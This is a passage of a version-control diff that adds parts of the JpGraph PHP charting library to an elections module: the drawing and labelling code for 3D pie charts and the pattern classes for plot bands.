+	    $expscale=1;
+	    if( $aaoption == 1 ) 
+		$expscale=2;
+
+	    $la = $a + $da/2;
+	    $explode = array( $xc + $this->explode_radius[$i]*cos($la*M_PI/180)*$expscale,
+		              $yc - $this->explode_radius[$i]*sin($la*M_PI/180) * ($h/$d) *$expscale );
+	    $adjexplode[$idx] = $explode;
+	    $labeldata[$i] = array($la,$explode[0],$explode[1]);
+	    $originalangles[$i] = array($a,$a+$da);
+
+	    $ne = $this->NormAngle($a+$da);
+	    if( $da <= 180 ) {
+		// If the slice size is <= 90 it can at maximum cut across
+		// one boundary (either 90 or 270) where it needs to be split
+		$split=-1; // no split
+		if( ($da<=90 && ($a <= 90 && $ne > 90)) ||
+		    (($da <= 180 && $da >90)  && (($a < 90 || $a >= 270) && $ne > 90)) ) {
+		    $split = 90;
+		}
+		elseif( ($da<=90 && ($a <= 270 && $ne > 270)) ||
+		        (($da<=180 && $da>90) && ($a >= 90 && $a < 270 && ($a+$da) > 270 )) ) {
+		    $split = 270;
+		} 
+		if( $split > 0 ) { // split in two
+		    $angles[$idx] = array($a,$split);
+		    $adjcolors[$idx] = $colors[$i % $numcolors];
+		    $adjexplode[$idx] = $explode;
+		    $angles[++$idx] = array($split,$ne);
+		    $adjcolors[$idx] = $colors[$i % $numcolors];
+		    $adjexplode[$idx] = $explode;
+		}
+		else { // no split
+		    $angles[$idx] = array($a,$ne);
+		    $adjcolors[$idx] = $colors[$i  % $numcolors];
+		    $adjexplode[$idx] = $explode;	
+		}
+	    }
+	    else { 
+		// da>180
+		// Slice may, depending on position, cross one or two
+		// bonudaries
+
+		if( $a < 90 ) 
+		    $split = 90;
+		elseif( $a <= 270 )
+		    $split = 270;
+		else 
+		    $split = 90;
+
+		$angles[$idx] = array($a,$split);
+		$adjcolors[$idx] = $colors[$i % $numcolors];
+		$adjexplode[$idx] = $explode;
+		//if( $a+$da > 360-$split ) { 
+		// For slices larger than 270 degrees we might cross
+		// another boundary as well. This means that we must
+		// split the slice further. The comparison gets a little
+		// bit complicated since we must take into accound that
+		// a pie might have a startangle >0 and hence a slice might
+		// wrap around the 0 angle.
+		// Three cases:
+		//  a) Slice starts before 90 and hence gets a split=90, but 
+		//     we must also check if we need to split at 270
+		//  b) Slice starts after 90 but before 270 and slices
+		//     crosses 90 (after a wrap around of 0)
+		//  c) If start is > 270 (hence the firstr split is at 90)
+		//     and the slice is so large that it goes all the way
+		//     around 270.
+		if( ($a < 90 && ($a+$da > 270)) ||
+		    ($a > 90 && $a<=270 && ($a+$da>360+90) ) ||
+		    ($a > 270 && $this->NormAngle($a+$da)>270) ) { 
+		    $angles[++$idx] = array($split,360-$split);
+		    $adjcolors[$idx] = $colors[$i % $numcolors];
+		    $adjexplode[$idx] = $explode;
+		    $angles[++$idx] = array(360-$split,$ne);
+		    $adjcolors[$idx] = $colors[$i % $numcolors];
+		    $adjexplode[$idx] = $explode;
+		}	
+		else {
+		    // Just a simple split to the previous decided
+		    // angle.
+		    $angles[++$idx] = array($split,$ne);
+		    $adjcolors[$idx] = $colors[$i % $numcolors];
+		    $adjexplode[$idx] = $explode;
+		}
+	    }
+	    $a += $da;
+	    $a = $this->NormAngle($a);
+	}
+
+	// Total number of slices 
+	$n = count($angles);
+
+	for($i=0; $i<$n; ++$i) {
+	    list($dbgs,$dbge) = $angles[$i];
+	}
+
+	// 
+	// Step 2. Find start index (first pie that starts in upper left quadrant)
+	//
+	$minval = $angles[0][0];
+	$min = 0;
+	for( $i=0; $i<$n; ++$i ) {
+	    if( $angles[$i][0] < $minval ) {
+		$minval = $angles[$i][0];
+		$min = $i;
+	    }
+	}
+	$j = $min;
+	$cnt = 0;
+	while( $angles[$j][1] <= 90 ) {
+	    $j++;
+	    if( $j>=$n) {
+		$j=0;
+	    }
+	    if( $cnt > $n ) {
+		JpGraphError::RaiseL(14005);
+//("Pie3D Internal error (#1). Trying to wrap twice when looking for start index");
+	    }
+	    ++$cnt;
+	}
+	$start = $j;
+
+	// 
+	// Step 3. Print slices in z-order
+	//
+	$cnt = 0;
+	
+	// First stroke all the slices between 90 and 270 (left half circle)
+	// counterclockwise
+	    
+	while( $angles[$j][0] < 270  && $aaoption !== 2 ) {
+
+	    list($x,$y) = $adjexplode[$j];
+
+	    $this->Pie3DSlice($img,$x,$y,$d,$h,$angles[$j][0],$angles[$j][1],
+			      $z,$adjcolors[$j],$shadow);
+	
+	    $last = array($x,$y,$j);
+
+	    $j++;
+	    if( $j >= $n ) $j=0;
+	    if( $cnt > $n ) {
+		JpGraphError::RaiseL(14006);
+//("Pie3D Internal Error: Z-Sorting algorithm for 3D Pies is not working properly (2). Trying to wrap twice while stroking.");
+	    }
+	    ++$cnt;
+	}
+     
+	$slice_left = $n-$cnt;
+	$j=$start-1;
+	if($j<0) $j=$n-1;
+	$cnt = 0;
+	
+	// The stroke all slices from 90 to -90 (right half circle)
+	// clockwise
+	while( $cnt < $slice_left  && $aaoption !== 2 ) {
+
+	    list($x,$y) = $adjexplode[$j];
+
+	    $this->Pie3DSlice($img,$x,$y,$d,$h,$angles[$j][0],$angles[$j][1],
+			      $z,$adjcolors[$j],$shadow);
+	    $j--;
+	    if( $cnt > $n ) {
+		JpGraphError::RaiseL(14006);
+//("Pie3D Internal Error: Z-Sorting algorithm for 3D Pies is not working properly (2). Trying to wrap twice while stroking.");
+	    }
+	    if($j<0) $j=$n-1;
+	    $cnt++;
+	}
+	
+	// Now do a special thing. Stroke the last slice on the left
+	// halfcircle one more time.  This is needed in the case where 
+	// the slice close to 270 have been exploded. In that case the
+	// part of the slice close to the center of the pie might be 
+	// slightly nagged.
+	if( $aaoption !== 2 )
+	    $this->Pie3DSlice($img,$last[0],$last[1],$d,$h,$angles[$last[2]][0],
+			      $angles[$last[2]][1],$z,$adjcolors[$last[2]],$shadow);
+
+
+	if( $aaoption !== 1 ) {
+	    // Now print possible labels and add csim
+	    $this->value->ApplyFont($img);
+	    $margin = $img->GetFontHeight()/2 + $this->value->margin ;
+	    for($i=0; $i < count($data); ++$i ) {
+		$la = $labeldata[$i][0];
+		$x = $labeldata[$i][1] + cos($la*M_PI/180)*($d+$margin)*$this->ilabelposadj;
+		$y = $labeldata[$i][2] - sin($la*M_PI/180)*($h+$margin)*$this->ilabelposadj;
+		if( $this->ilabelposadj >= 1.0 ) {
+		    if( $la > 180 && $la < 360 ) $y += $z;
+		}
+		if( $this->labeltype == 0 ) {
+		    if( $sum > 0 )
+			$l = 100*$data[$i]/$sum;
+		    else
+			$l = 0;
+		}
+		elseif( $this->labeltype == 1 ) {
+		    $l = $data[$i];
+		}
+		else {
+		    $l = $this->adjusted_data[$i];
+		}
+		if( isset($this->labels[$i]) && is_string($this->labels[$i]) )
+		    $l=sprintf($this->labels[$i],$l);
+
+		$this->StrokeLabels($l,$img,$labeldata[$i][0]*M_PI/180,$x,$y,$z);
+	    
+		$this->Add3DSliceToCSIM($i,$labeldata[$i][1],$labeldata[$i][2],$h*2,$d*2,$z,
+				      $originalangles[$i][0],$originalangles[$i][1]);
+	    }	
+	}
+
+	// 
+	// Finally add potential lines in pie
+	//
+
+	if( $edgecolor=="" || $aaoption !== 0 ) return;
+
+	$accsum = 0;
+	$a = $startangle;
+	$a = $this->NormAngle($a);
+
+	$a *= M_PI/180.0;
+
+	$idx=0;
+	$img->PushColor($edgecolor);
+	$img->SetLineWeight($edgeweight);
+	
+	$fulledge = true;
+	for($i=0; $i < count($data) && $fulledge; ++$i ) {
+	    if( empty($this->explode_radius[$i]) )
+		$this->explode_radius[$i]=0;
+	    if( $this->explode_radius[$i] > 0 ) {
+		$fulledge = false;
+	    }
+	}
+	    
+
+	for($i=0; $i < count($data); ++$i, ++$idx ) {
+
+	    $da = $data[$i]/$sum * 2*M_PI;
+	    $this->StrokeFullSliceFrame($img,$xc,$yc,$a,$a+$da,$d,$h,$z,$edgecolor,
+					$this->explode_radius[$i],$fulledge);
+	    $a += $da;
+	}
+	$img->PopColor();
+    }
+
+    function StrokeFullSliceFrame($img,$xc,$yc,$sa,$ea,$w,$h,$z,$edgecolor,$exploderadius,$fulledge) {
+	$step = 0.02;
+
+	if( $exploderadius > 0 ) {
+	    $la = ($sa+$ea)/2;
+	    $xc += $exploderadius*cos($la);
+	    $yc -= $exploderadius*sin($la) * ($h/$w) ;
+	    
+	}
+
+	$p = array($xc,$yc,$xc+$w*cos($sa),$yc-$h*sin($sa));
+
+	for($a=$sa; $a < $ea; $a += $step ) {
+	    $p[] = $xc + $w*cos($a);
+	    $p[] = $yc - $h*sin($a);
+	}
+
+	$p[] = $xc+$w*cos($ea);
+	$p[] = $yc-$h*sin($ea);
+	$p[] = $xc;
+	$p[] = $yc;
+
+	$img->SetColor($edgecolor);
+	$img->Polygon($p);
+
+	// Unfortunately we can't really draw the full edge around the whole of
+	// of the slice if any of the slices are exploded. The reason is that
+	// this algorithm is to simply. There are cases where the edges will
+	// "overwrite" other slices when they have been exploded.
+	// Doing the full, proper 3D hidden lines stiff is actually quite
+	// tricky. So for exploded pies we only draw the top edge. Not perfect
+	// but the "real" solution is much more complicated.
+	if( $fulledge && !( $sa > 0 && $sa < M_PI && $ea < M_PI) ) { 
+
+	    if($sa < M_PI && $ea > M_PI) 
+		$sa = M_PI;
+ 
+	    if($sa < 2*M_PI && (($ea >= 2*M_PI) || ($ea > 0 && $ea < $sa ) ) )
+		$ea = 2*M_PI;
+
+	    if( $sa >= M_PI && $ea <= 2*M_PI ) {
+		$p = array($xc + $w*cos($sa),$yc - $h*sin($sa),
+			   $xc + $w*cos($sa),$z + $yc - $h*sin($sa));
+		
+		for($a=$sa+$step; $a < $ea; $a += $step ) {
+		    $p[] = $xc + $w*cos($a);
+		    $p[] = $z + $yc - $h*sin($a);
+		}
+		$p[] = $xc + $w*cos($ea);
+		$p[] = $z + $yc - $h*sin($ea);
+		$p[] = $xc + $w*cos($ea);
+		$p[] = $yc - $h*sin($ea);
+		$img->SetColor($edgecolor);
+		$img->Polygon($p);	    
+	    }
+	}
+    }
+
+    function Stroke($img,$aaoption=0) {
+	$n = count($this->data);
+
+	// If user hasn't set the colors use the theme array
+   	if( $this->setslicecolors==null ) {
+	    $colors = array_keys($img->rgb->rgb_table);
+	    sort($colors);	
+	    $idx_a=$this->themearr[$this->theme];	
+	    $ca = array();
+	    $m = count($idx_a);
+	    for($i=0; $i < $m; ++$i)
+		$ca[$i] = $colors[$idx_a[$i]];
+	    $ca = array_reverse(array_slice($ca,0,$n));
+	}
+   	else {
+	    $ca = $this->setslicecolors;
+	}
+	
+
+	if( $this->posx <= 1 && $this->posx > 0 )
+	    $xc = round($this->posx*$img->width);
+	else
+	    $xc = $this->posx ;
+	
+	if( $this->posy <= 1 && $this->posy > 0 )
+	    $yc = round($this->posy*$img->height);
+	else
+	    $yc = $this->posy ;
+   			
+	if( $this->radius <= 1 ) {
+	    $width = floor($this->radius*min($img->width,$img->height));
+	    // Make sure that the pie doesn't overflow the image border
+	    // The 0.9 factor is simply an extra margin to leave some space
+	    // between the pie an the border of the image.
+	    $width = min($width,min($xc*0.9,($yc*90/$this->angle-$width/4)*0.9));
+	}
+	else {
+	    $width = $this->radius * ($aaoption === 1 ? 2 : 1 ) ;
+	}
+
+	// Add a sanity check for width
+	if( $width < 1 ) { 
+	    JpGraphError::RaiseL(14007);//("Width for 3D Pie is 0. Specify a size > 0");
+	}
+
+	// Establish a thickness. By default the thickness is a fifth of the
+	// pie slice width (=pie radius) but since the perspective depends
+	// on the inclination angle we use some heuristics to make the edge
+	// slightly thicker the less the angle.
+	
+	// Has user specified an absolute thickness? In that case use
+	// that instead
+
+	if( $this->iThickness ) {
+	  $thick = $this->iThickness;
+	  $thick *= ($aaoption === 1 ? 2 : 1 );
+	}
+	else
+	  $thick = $width/12;
+	$a = $this->angle;
+	if( $a <= 30 ) $thick *= 1.6;
+	elseif( $a <= 40 ) $thick *= 1.4;
+	elseif( $a <= 50 ) $thick *= 1.2;
+	elseif( $a <= 60 ) $thick *= 1.0;
+	elseif( $a <= 70 ) $thick *= 0.8;
+	elseif( $a <= 80 ) $thick *= 0.7;
+	else $thick *= 0.6;
+
+	$thick = floor($thick);
+
+	if( $this->explode_all )
+	    for($i=0; $i < $n; ++$i)
+		$this->explode_radius[$i]=$this->explode_r;
+
+	$this->Pie3D($aaoption,$img,$this->data, $ca, $xc, $yc, $width, $this->angle, 
+	             $thick, 0.65, $this->startangle, $this->edgecolor, $this->edgeweight);
+
+	// Adjust title position
+	if( $aaoption != 1 ) {
+	    $this->title->SetPos($xc,$yc-$this->title->GetFontHeight($img)-$width/2-$this->title->margin,			      "center","bottom");
+	    $this->title->Stroke($img);
+	}
+    }
+
+//---------------
+// PRIVATE METHODS	
+
+    // Position the labels of each slice
+    function StrokeLabels($label,$img,$a,$xp,$yp,$z) {
+	$this->value->halign="left";
+	$this->value->valign="top";
+
+	// Position the axis title. 
+	// dx, dy is the offset from the top left corner of the bounding box that sorrounds the text
+	// that intersects with the extension of the corresponding axis. The code looks a little
+	// bit messy but this is really the only way of having a reasonable position of the
+	// axis titles.
+	$this->value->ApplyFont($img);
+	$h=$img->GetTextHeight($label);
+	// For numeric values the format of the display value
+	// must be taken into account
+	if( is_numeric($label) ) {
+	    if( $label >= 0 )
+		$w=$img->GetTextWidth(sprintf($this->value->format,$label));
+	    else
+		$w=$img->GetTextWidth(sprintf($this->value->negformat,$label));
+	}
+	else
+	    $w=$img->GetTextWidth($label);
+	while( $a > 2*M_PI ) $a -= 2*M_PI;
+	if( $a>=7*M_PI/4 || $a <= M_PI/4 ) $dx=0;
+	if( $a>=M_PI/4 && $a <= 3*M_PI/4 ) $dx=($a-M_PI/4)*2/M_PI; 
+	if( $a>=3*M_PI/4 && $a <= 5*M_PI/4 ) $dx=1;
+	if( $a>=5*M_PI/4 && $a <= 7*M_PI/4 ) $dx=(1-($a-M_PI*5/4)*2/M_PI);
+		
+	if( $a>=7*M_PI/4 ) $dy=(($a-M_PI)-3*M_PI/4)*2/M_PI;
+	if( $a<=M_PI/4 ) $dy=(1-$a*2/M_PI);
+	if( $a>=M_PI/4 && $a <= 3*M_PI/4 ) $dy=1;
+	if( $a>=3*M_PI/4 && $a <= 5*M_PI/4 ) $dy=(1-($a-3*M_PI/4)*2/M_PI);
+	if( $a>=5*M_PI/4 && $a <= 7*M_PI/4 ) $dy=0;
+	
+	$x = round($xp-$dx*$w);
+	$y = round($yp-$dy*$h);
+
+	
+        // Mark anchor point for debugging 
+	/*
+	$img->SetColor('red');
+	$img->Line($xp-10,$yp,$xp+10,$yp);
+	$img->Line($xp,$yp-10,$xp,$yp+10);
+	*/
+	$oldmargin = $this->value->margin;
+	$this->value->margin=0;
+	$this->value->Stroke($img,$label,$x,$y);
+	$this->value->margin=$oldmargin;
+
+    }	
+} // Class
+
+/* EOF */
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_plotband.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_plotband.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_plotband.php	(revision 44)
@@ -0,0 +1,635 @@
+<?php
+//=======================================================================
+// File:	JPGRAPH_PLOTBAND.PHP
+// Description:	PHP4 Graph Plotting library. Extension module.
+// Created: 	2004-02-18
+// Ver:		$Id: jpgraph_plotband.php 1091 2009-01-18 22:57:40Z ljp $
+//
+// Copyright (c) Aditus Consulting. All rights reserved.
+//========================================================================
+
+// Constants for types of static bands in plot area
+define("BAND_RDIAG",1);	// Right diagonal lines
+define("BAND_LDIAG",2); // Left diagonal lines
+define("BAND_SOLID",3); // Solid one color
+define("BAND_VLINE",4); // Vertical lines
+define("BAND_HLINE",5);  // Horizontal lines
+define("BAND_3DPLANE",6);  // "3D" Plane
+define("BAND_HVCROSS",7);  // Vertical/Hor crosses
+define("BAND_DIAGCROSS",8); // Diagonal crosses
+
+
+// Utility class to hold coordinates for a rectangle
+class Rectangle {
+    public $x,$y,$w,$h;
+    public $xe, $ye;
+    function Rectangle($aX,$aY,$aWidth,$aHeight) {
+	$this->x=$aX;
+	$this->y=$aY;
+	$this->w=$aWidth;
+	$this->h=$aHeight;
+	$this->xe=$aX+$aWidth-1;
+	$this->ye=$aY+$aHeight-1;
+    }
+}
+
+//=====================================================================
+// Class RectPattern
+// Base class for pattern hierarchi that is used to display patterned
+// bands on the graph. Any subclass that doesn't override Stroke()
+// must at least implement method DoPattern($aImg) which is responsible
+// for drawing the pattern onto the graph.
+//=====================================================================
+class RectPattern {
+    protected $color;
+    protected $weight;
+    protected $rect=null;
+    protected $doframe=true;
+    protected $linespacing;	// Line spacing in pixels
+    protected $iBackgroundColor=-1;  // Default is no background fill
+	
+    function RectPattern($aColor,$aWeight=1) {
+	$this->color = $aColor;
+	$this->weight = $aWeight;		
+    }
+
+    function SetBackground($aBackgroundColor) {
+	$this->iBackgroundColor=$aBackgroundColor;
+    }
+
+    function SetPos($aRect) {
+	$this->rect = $aRect;
+    }
+	
+    function ShowFrame($aShow=true) {
+	$this->doframe=$aShow;
+    }
+
+    function SetDensity($aDens) {
+	if( $aDens < 1 || $aDens > 100 )
+	    JpGraphError::RaiseL(16001,$aDens);
+//(" Desity for pattern must be between 1 and 100. (You tried $aDens)");
+	// 1% corresponds to linespacing=50
+	// 100 % corresponds to linespacing 1
+	$this->linespacing = floor(((100-$aDens)/100.0)*50)+1;
+
+    }
+
+    function Stroke($aImg) {
+	if( $this->rect == null )
+	    JpGraphError::RaiseL(16002);
+//(" No positions specified for pattern.");
+
+	if( !(is_numeric($this->iBackgroundColor) && $this->iBackgroundColor==-1) ) {
+	    $aImg->SetColor($this->iBackgroundColor);
+	    $aImg->FilledRectangle($this->rect->x,$this->rect->y,$this->rect->xe,$this->rect->ye); 
+	}
+
+	$aImg->SetColor($this->color);
+	$aImg->SetLineWeight($this->weight);
+
+	// Virtual function implemented by subclass
+	$this->DoPattern($aImg);
+
+	// Frame around the pattern area
+	if( $this->doframe ) 
+	    $aImg->Rectangle($this->rect->x,$this->rect->y,$this->rect->xe,$this->rect->ye);
+    }
+
+}
+
+
+//=====================================================================
+// Class RectPatternSolid
+// Implements a solid band
+//=====================================================================
+class RectPatternSolid extends RectPattern {
+
+    function RectPatternSolid($aColor="black",$aWeight=1) {
+	parent::RectPattern($aColor,$aWeight);
+    }
+
+    function DoPattern($aImg) {
+	$aImg->SetColor($this->color);
+	$aImg->FilledRectangle($this->rect->x,$this->rect->y,
+			       $this->rect->xe,$this->rect->ye);
+    }
+}
+
+//=====================================================================
+// Class RectPatternHor
+// Implements horizontal line pattern
+//=====================================================================
+class RectPatternHor extends RectPattern {
+		
+    function RectPatternHor($aColor="black",$aWeight=1,$aLineSpacing=7) {
+	parent::RectPattern($aColor,$aWeight);
+	$this->linespacing = $aLineSpacing;
+    }
+		
+    function DoPattern($aImg) {
+	$x0 = $this->rect->x;		
+	$x1 = $this->rect->xe;
+	$y = $this->rect->y;
+	while( $y < $this->rect->ye ) {
+	    $aImg->Line($x0,$y,$x1,$y);
+	    $y += $this->linespacing;
+	}
+    }
+}
+
+//=====================================================================
+// Class RectPatternVert
+// Implements vertical line pattern
+//=====================================================================
+class RectPatternVert extends RectPattern {
+		
+    function RectPatternVert($aColor="black",$aWeight=1,$aLineSpacing=7) {
+	parent::RectPattern($aColor,$aWeight);
+	$this->linespacing = $aLineSpacing;
+    }
+
+    //--------------------
+    // Private methods
+    //
+    function DoPattern($aImg) {
+	$x = $this->rect->x;		
+	$y0 = $this->rect->y;
+	$y1 = $this->rect->ye;
+	while( $x < $this->rect->xe ) {
+	    $aImg->Line($x,$y0,$x,$y1);
+	    $x += $this->linespacing;
+	}
+    }
+}
+
+
+//=====================================================================
+// Class RectPatternRDiag
+// Implements right diagonal pattern
+//=====================================================================
+class RectPatternRDiag extends RectPattern {
+		
+    function RectPatternRDiag($aColor="black",$aWeight=1,$aLineSpacing=12) {
+	parent::RectPattern($aColor,$aWeight);
+	$this->linespacing = $aLineSpacing;
+    }
+
+    function DoPattern($aImg) {
+	//  --------------------
+	//  | /   /   /   /   /|
+	//  |/   /   /   /   / |
+	//  |   /   /   /   /  |
+	//  --------------------
+	$xe = $this->rect->xe;
+	$ye = $this->rect->ye;
+	$x0 = $this->rect->x + round($this->linespacing/2); 
+	$y0 = $this->rect->y;
+	$x1 = $this->rect->x; 
+	$y1 = $this->rect->y + round($this->linespacing/2);
+
+	while($x0<=$xe && $y1<=$ye) {
+	    $aImg->Line($x0,$y0,$x1,$y1);
+	    $x0 += $this->linespacing;
+	    $y1 += $this->linespacing;
+	}
+
+	if( $xe-$x1 > $ye-$y0 ) { 
+	    // Width larger than height
+	    $x1 = $this->rect->x + ($y1-$ye);
+	    $y1 = $ye; 
+	    $y0 = $this->rect->y; 
+	    while( $x0 <= $xe ) {
+		$aImg->Line($x0,$y0,$x1,$y1);
+		$x0 += $this->linespacing;
+		$x1 += $this->linespacing;
+	    }
+	    
+	    $y0=$this->rect->y + ($x0-$xe);
+	    $x0=$xe;
+	}
+	else {
+	    // Height larger than width
+	    $diff = $x0-$xe;
+	    $y0 = $diff+$this->rect->y;
+	    $x0 = $xe;
+	    $x1 = $this->rect->x;
+	    while( $y1 <= $ye ) {
+		$aImg->Line($x0,$y0,$x1,$y1);
+		$y1 += $this->linespacing;
+		$y0 += $this->linespacing;
+	    }
+	    
+	    $diff = $y1-$ye;
+	    $y1 = $ye;
+	    $x1 = $diff + $this->rect->x;
+	}
+
+	while( $y0 <= $ye ) {
+	    $aImg->Line($x0,$y0,$x1,$y1);
+	    $y0 += $this->linespacing;		
+	    $x1 += $this->linespacing;
+	}
+    }
+}
+ 
+//=====================================================================
+// Class RectPatternLDiag
+// Implements left diagonal pattern
+//=====================================================================
+class RectPatternLDiag extends RectPattern {
+		
+    function RectPatternLDiag($aColor="black",$aWeight=1,$aLineSpacing=12) {
+	$this->linespacing = $aLineSpacing;
+	parent::RectPattern($aColor,$aWeight);
+    }
+
+    function DoPattern($aImg) {
+	//  --------------------
+	//  |\   \   \   \   \ |
+	//  | \   \   \   \   \|
+	//  |  \   \   \   \   |
+	//  |------------------|
+	$xe = $this->rect->xe;
+	$ye = $this->rect->ye;
+	$x0 = $this->rect->x + round($this->linespacing/2); 
+	$y0 = $this->rect->ye;
+	$x1 = $this->rect->x; 
+	$y1 = $this->rect->ye - round($this->linespacing/2);
+
+	while($x0<=$xe && $y1>=$this->rect->y) {
+	    $aImg->Line($x0,$y0,$x1,$y1);
+	    $x0 += $this->linespacing;
+	    $y1 -= $this->linespacing;
+	}
+	if( $xe-$x1 > $ye-$this->rect->y ) { 
+	    // Width larger than height
+	    $x1 = $this->rect->x + ($this->rect->y-$y1);
+	    $y0=$ye; $y1=$this->rect->y; 
+	    while( $x0 <= $xe ) {
+		$aImg->Line($x0,$y0,$x1,$y1);
+		$x0 += $this->linespacing;
+		$x1 += $this->linespacing;
+	    }
+	    
+	    $y0=$this->rect->ye - ($x0-$xe);
+	    $x0=$xe;
+	}
+	else {
+	    // Height larger than width
+	    $diff = $x0-$xe;
+	    $y0 = $ye-$diff;
+	    $x0 = $xe;
+	    while( $y1 >= $this->rect->y ) {
+		$aImg->Line($x0,$y0,$x1,$y1);
+		$y0 -= $this->linespacing;
+		$y1 -= $this->linespacing;
+	    }	    
+	    $diff = $this->rect->y - $y1;
+	    $x1 = $this->rect->x + $diff;
+	    $y1 = $this->rect->y;
+	}
+	while( $y0 >= $this->rect->y ) {
+	    $aImg->Line($x0,$y0,$x1,$y1);
+	    $y0 -= $this->linespacing;
+	    $x1 += $this->linespacing;
+	}
+    }
+}
+
+//=====================================================================
+// Class RectPattern3DPlane
+// Implements "3D" plane pattern
+//=====================================================================
+class RectPattern3DPlane extends RectPattern {
+    private $alpha=50;  // Parameter that specifies the distance
+    // to "simulated" horizon in pixel from the
+    // top of the band. Specifies how fast the lines
+    // converge.
+
+    function RectPattern3DPlane($aColor="black",$aWeight=1) {
+	parent::RectPattern($aColor,$aWeight);
+	$this->SetDensity(10);  // Slightly larger default
+    }
+
+    function SetHorizon($aHorizon) {
+	$this->alpha=$aHorizon;
+    }
+	
+    function DoPattern($aImg) {
+	// "Fake" a nice 3D grid-effect. 
+	$x0 = $this->rect->x + $this->rect->w/2;
+	$y0 = $this->rect->y;
+	$x1 = $x0;
+	$y1 = $this->rect->ye;
+	$x0_right = $x0;
+	$x1_right = $x1;
+
+	// BTW "apa" means monkey in Swedish but is really a shortform for
+	// "alpha+a" which was the labels I used on paper when I derived the
+	// geometric to get the 3D perspective right. 
+	// $apa is the height of the bounding rectangle plus the distance to the
+	// artifical horizon (alpha)
+	$apa = $this->rect->h + $this->alpha;
+
+	// Three cases and three loops
+	// 1) The endpoint of the line ends on the bottom line
+	// 2) The endpoint ends on the side
+	// 3) Horizontal lines
+
+	// Endpoint falls on bottom line
+	$middle=$this->rect->x + $this->rect->w/2;
+	$dist=$this->linespacing;
+	$factor=$this->alpha /($apa);
+	while($x1>$this->rect->x) {
+	    $aImg->Line($x0,$y0,$x1,$y1);
+	    $aImg->Line($x0_right,$y0,$x1_right,$y1);
+	    $x1 = $middle - $dist;
+	    $x0 = $middle - $dist * $factor;
+	    $x1_right = $middle + $dist;
+	    $x0_right =  $middle + $dist * $factor;
+	    $dist += $this->linespacing;
+	}
+
+	// Endpoint falls on sides
+	$dist -= $this->linespacing;
+	$d=$this->rect->w/2;
+	$c = $apa - $d*$apa/$dist;
+	while( $x0>$this->rect->x ) {
+	    $aImg->Line($x0,$y0,$this->rect->x,$this->rect->ye-$c);
+	    $aImg->Line($x0_right,$y0,$this->rect->xe,$this->rect->ye-$c);
+	    $dist += $this->linespacing;			
+	    $x0 = $middle - $dist * $factor;
+	    $x1 = $middle - $dist;
+	    $x0_right =  $middle + $dist * $factor;			
+	    $c = $apa - $d*$apa/$dist;
+	}		
+		
+	// Horizontal lines
+	// They need some serious consideration since they are a function
+	// of perspective depth (alpha) and density (linespacing)
+	$x0=$this->rect->x;
+	$x1=$this->rect->xe;
+	$y=$this->rect->ye;
+		
+	// The first line is drawn directly. Makes the loop below slightly
+	// more readable.
+	$aImg->Line($x0,$y,$x1,$y);
+	$hls = $this->linespacing;
+		
+	// A correction factor for vertical "brick" line spacing to account for
+	// a) the difference in number of pixels hor vs vert
+	// b) visual apperance to make the first layer of "bricks" look more
+	// square.
+	$vls = $this->linespacing*0.6;
+		
+	$ds = $hls*($apa-$vls)/$apa;
+	// Get the slope for the "perspective line" going from bottom right
+	// corner to top left corner of the "first" brick.
+		
+	// Uncomment the following lines if you want to get a visual understanding
+	// of what this helpline does. BTW this mimics the way you would get the
+	// perspective right when drawing on paper.
+	/*
+	  $x0 = $middle;
+	  $y0 = $this->rect->ye;
+	  $len=floor(($this->rect->ye-$this->rect->y)/$vls);
+	  $x1 = $middle+round($len*$ds);
+	  $y1 = $this->rect->ye-$len*$vls;
+	  $aImg->PushColor("red");
+	  $aImg->Line($x0,$y0,$x1,$y1);
+	  $aImg->PopColor();
+	*/
+		
+	$y -= $vls;		
+	$k=($this->rect->ye-($this->rect->ye-$vls))/($middle-($middle-$ds));
+	$dist = $hls;
+	while( $y>$this->rect->y ) {
+	    $aImg->Line($this->rect->x,$y,$this->rect->xe,$y);
+	    $adj = $k*$dist/(1+$dist*$k/$apa);
+	    if( $adj < 2 ) $adj=1;
+	    $y = $this->rect->ye - round($adj);
+	    $dist += $hls;
+	}
+    }
+}
+
+//=====================================================================
+// Class RectPatternCross
+// Vert/Hor crosses
+//=====================================================================
+class RectPatternCross extends RectPattern {
+    private $vert=null;
+    private $hor=null;
+    function RectPatternCross($aColor="black",$aWeight=1) {
+	parent::RectPattern($aColor,$aWeight);
+	$this->vert = new RectPatternVert($aColor,$aWeight);
+	$this->hor  = new RectPatternHor($aColor,$aWeight);
+    }
+
+    function SetOrder($aDepth) {
+	$this->vert->SetOrder($aDepth);
+	$this->hor->SetOrder($aDepth);
+    }
+
+    function SetPos($aRect) {
+	parent::SetPos($aRect);
+	$this->vert->SetPos($aRect);
+	$this->hor->SetPos($aRect);
+    }
+
+    function SetDensity($aDens) {
+	$this->vert->SetDensity($aDens);
+	$this->hor->SetDensity($aDens);
+    }
+
+    function DoPattern($aImg) {
+	$this->vert->DoPattern($aImg);
+	$this->hor->DoPattern($aImg);
+    }
+}
+
+//=====================================================================
+// Class RectPatternDiagCross
+// Vert/Hor crosses
+//=====================================================================
+
+class RectPatternDiagCross extends RectPattern {
+    private $left=null;
+    private $right=null;
+    function RectPatternDiagCross($aColor="black",$aWeight=1) {
+	parent::RectPattern($aColor,$aWeight);
+	$this->right = new RectPatternRDiag($aColor,$aWeight);
+	$this->left  = new RectPatternLDiag($aColor,$aWeight);
+    }
+
+    function SetOrder($aDepth) {
+	$this->left->SetOrder($aDepth);
+	$this->right->SetOrder($aDepth);
+    }
+
+    function SetPos($aRect) {
+	parent::SetPos($aRect);
+	$this->left->SetPos($aRect);
+	$this->right->SetPos($aRect);
+    }
+
+    function SetDensity($aDens) {
+	$this->left->SetDensity($aDens);
+	$this->right->SetDensity($aDens);
+    }
+
+    function DoPattern($aImg) {
+	$this->left->DoPattern($aImg);
+	$this->right->DoPattern($aImg);
+    }
+
+}
+
+//=====================================================================
+// Class RectPatternFactory
+// Factory class for rectangular pattern 
+//=====================================================================
+class RectPatternFactory {
+    function RectPatternFactory() {
+	// Empty
+    }
+    function Create($aPattern,$aColor,$aWeight=1) {
+	switch($aPattern) {
+	    case BAND_RDIAG:
+		$obj =  new RectPatternRDiag($aColor,$aWeight);
+		break;
+	    case BAND_LDIAG:
+		$obj =  new RectPatternLDiag($aColor,$aWeight);
+		break;
+	    case BAND_SOLID:
